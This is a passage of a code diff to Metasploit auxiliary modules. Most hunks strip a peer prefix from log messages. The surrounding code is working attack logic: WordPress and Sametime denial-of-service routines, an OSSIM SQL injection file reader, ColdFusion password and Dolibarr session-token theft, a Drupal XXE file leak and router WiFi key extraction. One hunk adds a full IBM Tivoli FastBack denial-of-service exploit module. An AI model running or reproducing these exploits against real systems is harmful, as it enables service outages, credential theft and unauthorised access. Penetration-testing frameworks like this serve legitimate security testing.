print_good("#{peer} - Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
|
||||
print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
|
||||
starting_thread += ubound
|
||||
end
|
||||
|
||||
if wordpress_and_online?
|
||||
print_error("#{peer} - FAILED: #{target_uri} appears to still be online")
|
||||
print_error("FAILED: #{target_uri} appears to still be online")
|
||||
else
|
||||
print_good("#{peer} - SUCCESS: #{target_uri} appears to be down")
|
||||
print_good("SUCCESS: #{target_uri} appears to be down")
|
||||
end
|
||||
else
|
||||
print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
|
||||
|
||||
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# try out the available memory in steps
|
||||
# apache will return a server error if the limit is reached
|
||||
while memory_to_use < 1024
|
||||
vprint_status("#{peer} - trying memory limit #{memory_to_use}MB")
|
||||
vprint_status("trying memory limit #{memory_to_use}MB")
|
||||
opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_xmlrpc,
|
||||
@@ -76,14 +76,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# low timeout because the server error is returned immediately
|
||||
res = send_request_cgi(opts, timeout = 3)
|
||||
rescue ::Rex::ConnectionError => exception
|
||||
print_error("#{peer} - unable to connect: '#{exception.message}'")
|
||||
print_error("unable to connect: '#{exception.message}'")
|
||||
break
|
||||
end
|
||||
|
||||
if res && res.code == 500
|
||||
# limit reached, return last limit
|
||||
last_limit = memory_to_use - fingerprint_step
|
||||
vprint_status("#{peer} - got an error - using limit #{last_limit}MB")
|
||||
vprint_status("got an error - using limit #{last_limit}MB")
|
||||
return last_limit
|
||||
else
|
||||
memory_to_use += fingerprint_step
|
||||
@@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
# no limit can be determined
|
||||
print_warning("#{peer} - can not determine limit, will use default of #{default_limit}")
|
||||
print_warning("can not determine limit, will use default of #{default_limit}")
|
||||
return default_limit
|
||||
end
|
||||
|
||||
@@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}
|
||||
|
||||
space_to_fill = size_bytes - empty_xml.size
|
||||
vprint_status("#{peer} - max XML space to fill: #{space_to_fill} bytes")
|
||||
vprint_status("max XML space to fill: #{space_to_fill} bytes")
|
||||
|
||||
payload = "&#{entity};" * (space_to_fill / 6)
|
||||
entity_value_length = space_to_fill - payload.length
|
||||
@@ -148,15 +148,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
# get the max size
|
||||
print_status("#{peer} - trying to fingerprint the maximum memory we could use")
|
||||
print_status("trying to fingerprint the maximum memory we could use")
|
||||
size = fingerprint
|
||||
print_status("#{peer} - using #{size}MB as memory limit")
|
||||
print_status("using #{size}MB as memory limit")
|
||||
|
||||
# only generate once
|
||||
xml = generate_xml(size)
|
||||
|
||||
for x in 1..rlimit
|
||||
print_status("#{peer} - sending request ##{x}...")
|
||||
print_status("sending request ##{x}...")
|
||||
opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_xmlrpc,
|
||||
@@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
c.send_request(r)
|
||||
# Don't wait for a response, can take very long
|
||||
rescue ::Rex::ConnectionError => exception
|
||||
print_error("#{peer} - unable to connect: '#{exception.message}'")
|
||||
print_error("unable to connect: '#{exception.message}'")
|
||||
return
|
||||
ensure
|
||||
disconnect(c) if c
|
||||
|
||||
@@ -81,37 +81,37 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
# inform user of action currently selected
|
||||
print_status("#{peer} - Action: #{action.name} selected")
|
||||
print_status("Action: #{action.name} selected")
|
||||
|
||||
# CHECK action
|
||||
if action.name == 'CHECK'
|
||||
print_status("#{peer} - Checking if user #{@sipuri} is online")
|
||||
print_status("Checking if user #{@sipuri} is online")
|
||||
if check_user
|
||||
print_good("#{peer} - User online")
|
||||
print_good("User online")
|
||||
else
|
||||
print_status("#{peer} - User offline")
|
||||
print_status("User offline")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
# DOS action
|
||||
print_status("#{peer} - Checking if user #{@sipuri} is online")
|
||||
print_status("Checking if user #{@sipuri} is online")
|
||||
check_result = check_user
|
||||
|
||||
if check_result == false
|
||||
print_error("#{peer} - User is already offline... Exiting...")
|
||||
print_error("User is already offline... Exiting...")
|
||||
return
|
||||
end
|
||||
|
||||
# only proceed if action is DOS the target user is
|
||||
# online or the CHECKUSER option has been disabled
|
||||
print_status("#{peer} - Targeting user: #{@sipuri}...")
|
||||
print_status("Targeting user: #{@sipuri}...")
|
||||
dos_result = dos_user
|
||||
|
||||
if dos_result
|
||||
print_good("#{peer} - User is offline, DoS was successful")
|
||||
print_good("User is offline, DoS was successful")
|
||||
else
|
||||
print_error("#{peer} - User is still online")
|
||||
print_error("User is still online")
|
||||
end
|
||||
|
||||
end
|
||||
@@ -122,22 +122,22 @@ class Metasploit3 < Msf::Auxiliary
|
||||
res = send_msg(msg)
|
||||
|
||||
if res.nil?
|
||||
vprint_good("#{peer} - User #{@sipuri} is no responding")
|
||||
vprint_good("User #{@sipuri} is no responding")
|
||||
return true
|
||||
elsif res =~ /430 Flow Failed/i
|
||||
vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)")
|
||||
vprint_good("#{peer} - User #{@sipuri} is no longer responding")
|
||||
vprint_good("DoS packet successful. Response received (430 Flow Failed)")
|
||||
vprint_good("User #{@sipuri} is no longer responding")
|
||||
return true
|
||||
elsif res =~ /404 Not Found/i
|
||||
vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)")
|
||||
vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session")
|
||||
vprint_error("DoS packet appears successful. Response received (404 Not Found)")
|
||||
vprint_status("User appears to be currently offline or not in a Sametime video session")
|
||||
return true
|
||||
elsif res =~ /200 OK/i
|
||||
vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)")
|
||||
vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer")
|
||||
return false
|
||||
else
|
||||
vprint_status("#{peer} - Unexpected response")
|
||||
vprint_status("Unexpected response")
|
||||
return true
|
||||
end
|
||||
end
|
||||
@@ -150,26 +150,26 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# check response for current user status - common return codes
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - No response")
|
||||
vprint_error("No response")
|
||||
return false
|
||||
elsif res =~ /430 Flow Failed/i
|
||||
vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)")
|
||||
vprint_good("User #{@sipuri} is no longer responding (already DoS'd?)")
|
||||
return false
|
||||
elsif res =~ /404 Not Found/i
|
||||
vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session")
|
||||
vprint_error("User #{@sipuri} is currently offline or not in a Sametime video session")
|
||||
return false
|
||||
elsif res =~ /200 OK/i
|
||||
vprint_good("#{peer} - User #{@sipuri} is online")
|
||||
vprint_good("User #{@sipuri} is online")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - Unknown server response")
|
||||
vprint_error("Unknown server response")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def create_message(length)
|
||||
# create SIP MESSAGE of specified length
|
||||
vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long")
|
||||
vprint_status("Creating SIP MESSAGE packet #{length} bytes long")
|
||||
|
||||
source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1)
|
||||
source_host = Rex::Socket.source_address(datastore['RHOST'])
|
||||
@@ -215,13 +215,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
return res
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_status("#{peer} - Unable to connect")
|
||||
print_status("Unable to connect")
|
||||
return nil
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_status("#{peer} - DoS packet successful, host not responding.")
|
||||
print_status("DoS packet successful, host not responding.")
|
||||
return nil
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_status("#{peer} - Couldn't connect")
|
||||
print_status("Couldn't connect")
|
||||
return nil
|
||||
ensure
|
||||
# disconnect socket if still open
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service",
|
||||
'Description' => %q{
|
||||
This module exploits a denial of service condition present in IBM Tivoli Storage Manager
|
||||
FastBack Server when dealing with packets triggering the opcode 0x534 handler.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Gianni Gnesa', # Public disclosure/Proof of Concept
|
||||
'William Webb <william_webb[at]rapid7.com>', # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '38979'],
|
||||
['OSVDB', '132307']
|
||||
],
|
||||
'DisclosureDate' => "Dec 15 2015",
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(11460)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def tv_pkt(opcode, p1="", p2="", p3="")
|
||||
buf = Rex::Text.rand_text_alpha(0x0C)
|
||||
buf += [opcode].pack("V")
|
||||
buf += [0x00].pack("V")
|
||||
buf += [p1.length].pack("V")
|
||||
buf += [p1.length].pack("V")
|
||||
buf += [p2.length].pack("V")
|
||||
buf += [p1.length + p2.length].pack("V")
|
||||
buf += [p3.length].pack("V")
|
||||
|
||||
buf += Rex::Text.rand_text_alpha(0x08)
|
||||
|
||||
buf += p1
|
||||
buf += p2
|
||||
buf += p3
|
||||
|
||||
pkt = [buf.length].pack("N")
|
||||
pkt << buf
|
||||
|
||||
return pkt
|
||||
end
|
||||
|
||||
def run
|
||||
target_opcode = 0x534
|
||||
connect
|
||||
print_status("Connected to: #{rhost} port: #{rport}")
|
||||
print_status("Sending malicious packet")
|
||||
|
||||
p = tv_pkt(target_opcode,
|
||||
"File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % [Rex::Text.rand_text_alpha(0x200),0,0,0,0],
|
||||
Rex::Text.rand_text_alpha(0x60),
|
||||
Rex::Text.rand_text_alpha(0x60)
|
||||
)
|
||||
|
||||
sock.put(p)
|
||||
print_status("Packet sent!")
|
||||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => ex
|
||||
print_status("Exploit failed: #{ex.class} #{ex.message}")
|
||||
elog("#{ex.class} #{ex.message}\n#{ex.backtrace * "\n"}")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
@@ -48,20 +48,20 @@ class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
|
||||
print_status("#{peer} - Get a valid session cookie...")
|
||||
print_status("Get a valid session cookie...")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
|
||||
})
|
||||
|
||||
unless res and res.code == 200
|
||||
print_error("#{peer} - Server did not respond in an expected way")
|
||||
print_error("Server did not respond in an expected way")
|
||||
return
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
if cookie.blank?
|
||||
print_error("#{peer} - Could not retrieve a cookie")
|
||||
print_error("Could not retrieve a cookie")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -73,7 +73,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||
'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])
|
||||
}
|
||||
|
||||
print_status("#{peer} - Login...")
|
||||
print_status("Login...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),
|
||||
@@ -83,19 +83,19 @@ class Metasploit4 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
unless res and res.code == 302
|
||||
print_error("#{peer} - Server did not respond in an expected way")
|
||||
print_error("Server did not respond in an expected way")
|
||||
return
|
||||
end
|
||||
|
||||
unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
|
||||
print_error("#{peer} - Authentication failed")
|
||||
print_error("Authentication failed")
|
||||
return
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
if cookie.blank?
|
||||
print_error("#{peer} - Could not retrieve the authenticated cookie")
|
||||
print_error("Could not retrieve the authenticated cookie")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -105,7 +105,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||
left_marker = Rex::Text.rand_text_alpha(6)
|
||||
right_marker = Rex::Text.rand_text_alpha(6)
|
||||
|
||||
print_status("#{peer} - Exploiting SQLi...")
|
||||
print_status("Exploiting SQLi...")
|
||||
|
||||
loop do
|
||||
file = sqli(left_marker, right_marker, i, cookie, filename)
|
||||
|
||||
@@ -48,20 +48,20 @@ class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
|
||||
print_status("#{peer} - Get a valid session cookie...")
|
||||
print_status("Get a valid session cookie...")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("#{peer} - Server did not respond in an expected way")
|
||||
print_error("Server did not respond in an expected way")
|
||||
return
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
if cookie.blank?
|
||||
print_error("#{peer} - Could not retrieve a cookie")
|
||||
print_error("Could not retrieve a cookie")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -73,7 +73,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||
'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])
|
||||
}
|
||||
|
||||
print_status("#{peer} - Login...")
|
||||
print_status("Login...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),
|
||||
@@ -83,19 +83,19 @@ class Metasploit4 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
unless res && res.code == 302
|
||||
print_error("#{peer} - Server did not respond in an expected way")
|
||||
print_error("Server did not respond in an expected way")
|
||||
return
|
||||
end
|
||||
|
||||
unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
|
||||
print_error("#{peer} - Authentication failed")
|
||||
print_error("Authentication failed")
|
||||
return
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
if cookie.blank?
|
||||
print_error("#{peer} - Could not retrieve the authenticated cookie")
|
||||
print_error("Could not retrieve the authenticated cookie")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -106,7 +106,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||
right_marker = Rex::Text.rand_text_alpha(6)
|
||||
sql_true = Rex::Text.rand_text_alpha(6)
|
||||
|
||||
print_status("#{peer} - Exploiting SQLi...")
|
||||
print_status("Exploiting SQLi...")
|
||||
|
||||
begin
|
||||
::Timeout.timeout(datastore['SQLI_TIMEOUT']) do
|
||||
@@ -124,9 +124,9 @@ class Metasploit4 < Msf::Auxiliary
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
if full.blank?
|
||||
print_error("#{peer} - Timeout while exploiting sqli, nothing recovered")
|
||||
print_error("Timeout while exploiting sqli, nothing recovered")
|
||||
else
|
||||
print_error("#{peer} - Timeout while exploiting sqli, #{full.length} bytes recovered")
|
||||
print_error("Timeout while exploiting sqli, #{full.length} bytes recovered")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
@@ -203,7 +203,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_error("#{peer} - Unable to receive a response")
|
||||
print_error("Unable to receive a response")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -213,15 +213,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if rdspass.empty? and password.empty?
|
||||
# No pass collected, no point to store anything
|
||||
print_error("#{peer} - No passwords found")
|
||||
print_error("No passwords found")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - rdspassword = #{rdspass}")
|
||||
print_good("#{peer} - password = #{password}")
|
||||
print_good("#{peer} - encrypted = #{encrypted}")
|
||||
print_good("rdspassword = #{rdspass}")
|
||||
print_good("password = #{password}")
|
||||
print_good("encrypted = #{encrypted}")
|
||||
|
||||
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
|
||||
print_good("#{peer} - password.properties stored in '#{p}'")
|
||||
print_good("password.properties stored in '#{p}'")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
#
|
||||
def get_session_tokens
|
||||
tokens = nil
|
||||
print_status("#{peer} - Finding session tokens...")
|
||||
print_status("Finding session tokens...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(
|
||||
@@ -52,15 +52,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }
|
||||
})
|
||||
if !res
|
||||
print_error("#{peer} - Connection failed")
|
||||
print_error("Connection failed")
|
||||
elsif res.code == 404
|
||||
print_error("#{peer} - Could not find 'jqueryFileTree.php'")
|
||||
print_error("Could not find 'jqueryFileTree.php'")
|
||||
elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
|
||||
tokens = res.body.scan(/>sess_([a-z0-9]+)</)
|
||||
num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }
|
||||
print_good("#{peer} - Found #{num_tokens} session tokens")
|
||||
print_good("Found #{num_tokens} session tokens")
|
||||
else
|
||||
print_error("#{peer} - Could not find any session tokens")
|
||||
print_error("Could not find any session tokens")
|
||||
end
|
||||
return tokens
|
||||
end
|
||||
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# Get user's credentials
|
||||
#
|
||||
def get_user_info(user_id)
|
||||
vprint_status("#{peer} - Retrieving user's credentials")
|
||||
vprint_status("Retrieving user's credentials")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
|
||||
@@ -80,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}.to_a.shuffle]
|
||||
})
|
||||
if !res
|
||||
print_error("#{peer} - Connection failed")
|
||||
print_error("Connection failed")
|
||||
elsif res.body =~ /User card/
|
||||
record = [
|
||||
res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first,
|
||||
@@ -89,11 +89,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first
|
||||
]
|
||||
unless record.empty?
|
||||
print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})")
|
||||
print_good("Found credentials (#{record[0]}:#{record[1]})")
|
||||
return record
|
||||
end
|
||||
else
|
||||
print_warning("#{peer} - Could not retrieve user credentials")
|
||||
print_warning("Could not retrieve user credentials")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -106,13 +106,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'cookie' => @cookie
|
||||
})
|
||||
if !res
|
||||
print_error("#{peer} - Connection failed")
|
||||
print_error("Connection failed")
|
||||
elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/
|
||||
user_id = "#{$1}"
|
||||
vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'")
|
||||
vprint_good("Hijacked session for user with ID '#{user_id}'")
|
||||
return user_id
|
||||
else
|
||||
vprint_status("#{peer} - Could not hijack session. Session is invalid.")
|
||||
vprint_status("Could not hijack session. Session is invalid.")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -125,11 +125,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
|
||||
})
|
||||
if !res
|
||||
print_error("#{peer} - Connection failed")
|
||||
print_error("Connection failed")
|
||||
elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/
|
||||
return "DOLSESSID_#{$1}=#{token}"
|
||||
else
|
||||
print_warning("#{peer} - Could not create session cookie")
|
||||
print_warning("Could not create session cookie")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -140,7 +140,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def progress(current, total)
|
||||
done = (current.to_f / total.to_f) * 100
|
||||
percent = "%3.2f%%" % done.to_f
|
||||
vprint_status("#{peer} - Trying to hijack a session - " +
|
||||
vprint_status("Trying to hijack a session - " +
|
||||
"%7s done (%d/%d tokens)" % [percent, current, total])
|
||||
end
|
||||
|
||||
@@ -180,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def run
|
||||
return unless tokens = get_session_tokens
|
||||
credentials = []
|
||||
print_status("#{peer} - Trying to hijack a session...")
|
||||
print_status("Trying to hijack a session...")
|
||||
tokens.flatten.each_with_index do |token, index|
|
||||
if @cookie = create_cookie(token) and user_id = get_user_id
|
||||
credentials << get_user_info(user_id)
|
||||
@@ -189,7 +189,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if credentials.empty?
|
||||
print_warning("#{peer} - No credentials collected.")
|
||||
print_warning("No credentials collected.")
|
||||
return
|
||||
end
|
||||
cred_table = Rex::Ui::Text::Table.new(
|
||||
|
||||
@@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
res = send_openid_auth(signature)
|
||||
|
||||
unless res
|
||||
vprint_status("#{peer} - Connection timed out")
|
||||
vprint_status("Connection timed out")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
@@ -134,7 +134,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
unless res.code == 500
|
||||
print_warning("#{peer} - Unexpected answer, trying to parse anyway...")
|
||||
print_warning("Unexpected answer, trying to parse anyway...")
|
||||
end
|
||||
|
||||
error_loot = parse_loot(res.body)
|
||||
@@ -142,12 +142,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# Check if file was retrieved on the drupal answer
|
||||
# Better results, because there isn't URL encoding,
|
||||
# plus probably allows to retrieve longer files.
|
||||
print_status("#{peer} - Searching loot on the Drupal answer...")
|
||||
print_status("Searching loot on the Drupal answer...")
|
||||
unless loot?(error_loot)
|
||||
# Check if file was leaked to the fake OpenID endpoint
|
||||
# Contents are probably URL encoded, plus probably long
|
||||
# files aren't full, but something is something :-)
|
||||
print_status("#{peer} - Searching loot on HTTP query...")
|
||||
print_status("Searching loot on HTTP query...")
|
||||
loot?(@http_loot)
|
||||
end
|
||||
|
||||
@@ -158,12 +158,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri =~ /#{@prefix}/
|
||||
vprint_status("#{peer} - Signature found, parsing file...")
|
||||
vprint_status("Signature found, parsing file...")
|
||||
@http_loot = parse_loot(request.uri)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Sending XRDS...")
|
||||
print_status("Sending XRDS...")
|
||||
send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
|
||||
end
|
||||
|
||||
@@ -189,7 +189,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def store(data)
|
||||
path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])
|
||||
print_good("#{peer} - File found and saved to path: #{path}")
|
||||
print_good("File found and saved to path: #{path}")
|
||||
end
|
||||
|
||||
def parse_loot(data)
|
||||
|
||||
@@ -78,11 +78,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
} die();
|
||||
EOT
|
||||
|
||||
print_status("#{peer} - Reading user credentials from the database")
|
||||
print_status("Reading user credentials from the database")
|
||||
response = execute_php_code(php)
|
||||
|
||||
if not response or response.code != 200 then
|
||||
print_error("#{peer} - Failed: Error requesting page")
|
||||
print_error("Failed: Error requesting page")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -93,8 +93,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def run
|
||||
credentials = read_credentials
|
||||
if credentials.empty?
|
||||
print_warning("#{peer} - No credentials collected.")
|
||||
print_warning("#{peer} - Sometimes this is because the server isn't in the vulnerable state.")
|
||||
print_warning("No credentials collected.")
|
||||
print_warning("Sometimes this is because the server isn't in the vulnerable state.")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
@@ -116,30 +116,30 @@ class Metasploit3 < Msf::Auxiliary
|
||||
requests = datastore['REQUESTS']
|
||||
backends = []
|
||||
@uri = normalize_uri(target_uri.path.to_s)
|
||||
print_status("#{peer} - Starting request #{@uri}")
|
||||
print_status("Starting request #{@uri}")
|
||||
|
||||
(1..requests).each do |i|
|
||||
cookie = get_cookie # Get the cookie
|
||||
# If the cookie is not found, stop process
|
||||
if cookie.empty? || cookie[:id].nil?
|
||||
print_error("#{peer} - F5 BigIP load balancing cookie not found")
|
||||
print_error("F5 BigIP load balancing cookie not found")
|
||||
return
|
||||
end
|
||||
|
||||
# Print the cookie name on the first request
|
||||
if i == 1
|
||||
print_good("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
|
||||
print_good("F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
|
||||
if cookie[:id].start_with?('BIGipServer')
|
||||
print_good("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
|
||||
print_good("Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
|
||||
end
|
||||
if cookie[:value].start_with?('rd')
|
||||
print_good("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
|
||||
print_good("Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
|
||||
end
|
||||
end
|
||||
|
||||
backend = cookie_decode(cookie[:value])
|
||||
unless backend[:host].nil? || backends.include?(backend)
|
||||
print_good("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found")
|
||||
print_good("Backend #{backend[:host]}:#{backend[:port]} found")
|
||||
backends.push(backend)
|
||||
end
|
||||
end
|
||||
@@ -150,10 +150,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("#{peer} - Network connection error")
|
||||
print_error("Network connection error")
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} - Network connection error")
|
||||
print_error("Network connection error")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
print_error("#{peer} - SSL/TLS connection error")
|
||||
print_error("SSL/TLS connection error")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -118,27 +118,27 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
|
||||
print_status("#{peer} - Get Domain Info")
|
||||
print_status("Get Domain Info")
|
||||
session = get_session
|
||||
|
||||
if session.nil?
|
||||
print_error("#{peer} - Failed to get a valid session, maybe the target isn't HP SNAC installation?")
|
||||
print_error("Failed to get a valid session, maybe the target isn't HP SNAC installation?")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting Authentication Bypass to gather Domain Controller Info...")
|
||||
print_status("Exploiting Authentication Bypass to gather Domain Controller Info...")
|
||||
domain_info = get_domain_info(session)
|
||||
|
||||
if domain_info.nil?
|
||||
print_error("#{peer} - Failed, maybe the target isn't vulnerable")
|
||||
print_error("Failed, maybe the target isn't vulnerable")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Parsing data gathered...")
|
||||
print_status("Parsing data gathered...")
|
||||
credentials = parse_domain_data(domain_info)
|
||||
|
||||
if credentials.empty?
|
||||
print_warning("#{peer} - Any Domain Controller has been found...")
|
||||
print_warning("Any Domain Controller has been found...")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
@@ -96,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def get_wifi_info
|
||||
|
||||
print_status("#{peer} - Getting WiFi Key details...")
|
||||
print_status("Getting WiFi Key details...")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
@@ -135,7 +135,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def get_router_info
|
||||
|
||||
print_status("#{peer} - Gathering basic device information...")
|
||||
print_status("Gathering basic device information...")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'method' => 'GET',
|
||||
@@ -159,7 +159,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def get_router_ssid
|
||||
print_status("#{peer} - Gathering device SSID...")
|
||||
print_status("Gathering device SSID...")
|
||||
|
||||
res = send_request_raw(
|
||||
{
|
||||
@@ -183,7 +183,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def get_router_mac_filter_info
|
||||
print_status("#{peer} - Gathering MAC filters...")
|
||||
print_status("Gathering MAC filters...")
|
||||
res = send_request_raw(
|
||||
{
